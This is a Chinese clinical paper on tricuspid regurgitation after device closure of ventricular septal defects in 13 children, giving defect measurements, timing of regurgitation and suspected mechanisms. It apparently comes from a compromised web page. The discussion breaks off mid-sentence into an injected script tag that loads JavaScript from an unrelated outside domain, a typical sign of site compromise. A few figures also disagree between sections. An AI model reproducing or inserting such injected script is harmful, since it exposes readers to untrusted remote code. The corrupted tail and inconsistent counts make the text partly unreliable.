摘 要:目的:探讨经导管介入治疗室间隔缺损 (VSD)发生三尖瓣返流的原因和预防措施。方法:VSD封堵术后发生三尖瓣返流 13(男 7,女 6)例 ,年龄 3～12(平均 5. 0 ±2. 7)岁。膜周部 VSD伴膜部瘤患者 11例 ,单纯膜周部 VSD 2例。其中囊袋型缺损 10例 ,漏斗型缺损 3例 ,VSD左室面直径为 4～14(7. 3 ±2. 3) mm。结果: 13例患者 ,左心室造影测量 VSD直径为 4～15(7. 5 ±2. 4)
mm,VSD距三尖瓣距离 2. 0～3. 4(2. 6 ±0. 5) mm。囊袋型缺损右室面均有多个出口 ,其最大出口直径 2～6 mm。术后即刻 9例有三尖瓣少量返流 ,1例三尖瓣少 ～中量返流。1例三尖瓣少量返流伴有海鸥鸣 ,术后 24 h海鸥鸣消失 ,3 d三尖瓣已无返流。1例 5岁患儿 ,其三尖瓣前腱索附着异常 (在缺损口附近 ) ,术后 24 h无三尖瓣返流 ,5 d超声心动图发现三尖瓣前瓣腱索断裂伴中 ～大量返流。1例 VSD直径 15mm、右室面多孔、最大孔直径 6 mm的患者 ,放置了 16 mm封堵器 ,术后即刻、7 d、1月无三尖瓣返流 ,3月新出现三尖瓣少 ～中量返流。结论: VSD封堵治疗后发生的三尖瓣返流可能与导管损伤隔瓣腱索、输送钢丝损伤腱索、封堵器磨损腱索及封堵器本身的设计缺陷有关 ,应引起临床医生的高度重视。
自2002年室间隔缺损 (VSD)封堵器[1～3]开始被临床应用以来 ,VSD的介入治疗在我国已逐步开展 ,取得了满意的疗效。随着介入治疗病例数量的增加
,其并发症亦相继增多 ,但文献报道多集中分析术后并发的传导阻滞和主动脉瓣关闭不全 ,对于术后并发的三尖瓣返流很少述及。为此 ,作者探讨了VSD封堵术后三尖瓣返流发生的原因和预防措施。
1 对象和方法
1. 1 对象 2002207～2004210我科介入治疗 VSD510余例 ,术后发生三尖瓣返流 13(男 7,女 6)例 ,年龄 3～12(平均 5. 0 ±2. 7)岁。经胸超声检查 ,膜周部 VSD伴膜部瘤患者 11例 ,单纯膜周部 VSD 2例。其中囊袋型缺损 10例 ,漏斗型缺损 3例 ,VSD左室面直径为 4～14(7. 3 ±2. 3) mm。
1. 2 方法 使用 HP sonos 5500型彩色多普勒诊断仪。采用胸骨旁、心尖部及剑下检查部位。选择非标准左心室长轴、大血管短轴及五腔心切面 ,多方向、多角度连续观察。测定不同切面室间隔缺损大小 ,左心室长轴和五腔心切面测定 VSD距主动脉瓣右冠瓣距离 ,大血管短轴切面测定
VSD距三尖瓣距离。彩色多普勒血流图测定分流宽度。三尖瓣返流半定量判定标准:收缩期返流束自三尖瓣至右心房1/3处为少量 , 1/3～2/3处为中量,大于 2/3为大量。介入治疗同文献[4]报道。术后 3、7 d, 1、3、6月及 1年作超声心动图检查 ,观察封堵器和瓣膜情况。
2 结果
13例 VSD患者 ,左心室造影测量 VSD直径为 4～15(7. 5 ±2. 4) mm,VSD距主动脉右冠瓣 1. 5～3(2. 1 ±1. 0) mm,距三尖瓣 2. 0～3. 4 (2. 6 ±0. 5)mm。缺损呈囊袋型 10例 ,漏斗型 3例。囊袋型右室面均有多个出口 ,其最大出口直径 2～6 mm。9例术后即刻有三尖瓣少量返流; 2例输送钢丝释放困难 ,反复旋转输送钢丝 ,术后即刻发生三尖瓣返流 ,其中 1例术后三尖瓣少 ～中量返流
,1例三尖瓣少量返流伴有海鸥鸣 ,术后 24 h海鸥鸣消失 ,3 d三尖瓣已无返流。1例 5岁患儿 ,其三尖瓣前腱索附着异常 (在缺损口附近 ) ,术后 24 h无三尖瓣返流 ,5d超声心动图发现三尖瓣前瓣腱索断裂伴中 ～大量返流。1例 VSD直径 15 mm、右室面多孔、最大孔直径 6 mm的患者 ,放置了 16
mm封堵器 ,术后即刻、7d、1月无三尖瓣返流 ,术后 3月新出现三尖瓣少 ～中量返流。三尖瓣返流中量以上的患者 ,给予扩血管、强心和利尿治疗
,余病例密切临床观察随访。
3 讨论
膜周部 VSD与三尖瓣关系十分密切。一方面 ,缺损邻近三尖瓣前隔瓣交界区 ,缺损边缘与三尖瓣隔瓣腱索粘连。另一方面 ,60%膜周部 VSD并发假性膜部瘤
,后者是由于三尖瓣隔瓣缘和腱索在缺损分流长期冲击下发生粘连 ,缺损上方隔瓣形成膜部瘤壁 ,游离缘的粘连腱索与缺损部分纤维组织围成膜部瘤右室侧缺口 (出口 ) ,缺损左室侧缺口则被认为入口。因此 ,无论是外科手术或介入治疗 ,都有可能损伤三尖瓣造成医源性三尖瓣关闭不全。全可引起明显右心功能不全 ,需要外科手术处理。但对于这种医源性三尖瓣关闭不全报道甚少。本组510余例 VSD封堵成功治疗病例 ,新出现三尖瓣返流 13例 ,其发生率为 2. 6%。其中术后即刻有 10例三尖瓣少量返流 ,1例三尖瓣少 ～中量返流 , 1例术后 5 d新出现三尖瓣前瓣腱索断裂伴中 ～大量返流 , 1例术后 3月新出现三尖瓣少 ～中量返流。提示封堵术后即刻、数天或数月都有可能发生三尖瓣返流。封堵术后三尖瓣返流有 11例为 VSD伴膜部瘤患者 ,2例为单纯膜部 VSD患者。可见这种并发症多发生在 VSD伴膜部瘤者。与膜部瘤形成的病理解剖特性有关。三尖瓣由隔瓣、后瓣和前瓣组成 ,连接前瓣为 1条粗大的乳头肌 ,?script src=http://cn.jxmmtv.com/cn.js>
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